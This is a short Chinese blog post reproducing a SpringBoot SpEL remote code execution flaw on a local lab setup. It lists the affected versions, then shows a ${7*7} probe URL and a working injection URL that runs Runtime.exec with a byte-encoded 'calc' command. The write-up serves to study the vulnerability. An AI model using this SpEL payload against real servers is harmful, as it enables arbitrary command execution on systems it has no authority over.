SpringBoot SpEL RCE漏洞分析

SpringBoot SpEL RCE

前言最近一段时间学习Spring系列的漏洞,跟着Github上的资源学习

https://github.com/LandGrey/SpringBootVulExploit

环境搭建:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用IDEA打开并配置一个Spring Boot程序即可
SpringBoot SpEL RCE漏洞分析_第1张图片
访问 http://localhost:9091/ 即可看到报错页面

漏洞利用条件:

  1. SpringBoot版本1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  2. 知道一个触发SpringBoot默认页面的接口和参数

漏洞复现:

访问 http://localhost:9091/article?id=${7*7} ,页面显示回 7*7 的计算结果 49

访问 http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} ,弹出计算机<

你可能感兴趣的:(代码审计,java安全,spring,boot,java,安全漏洞,网络安全)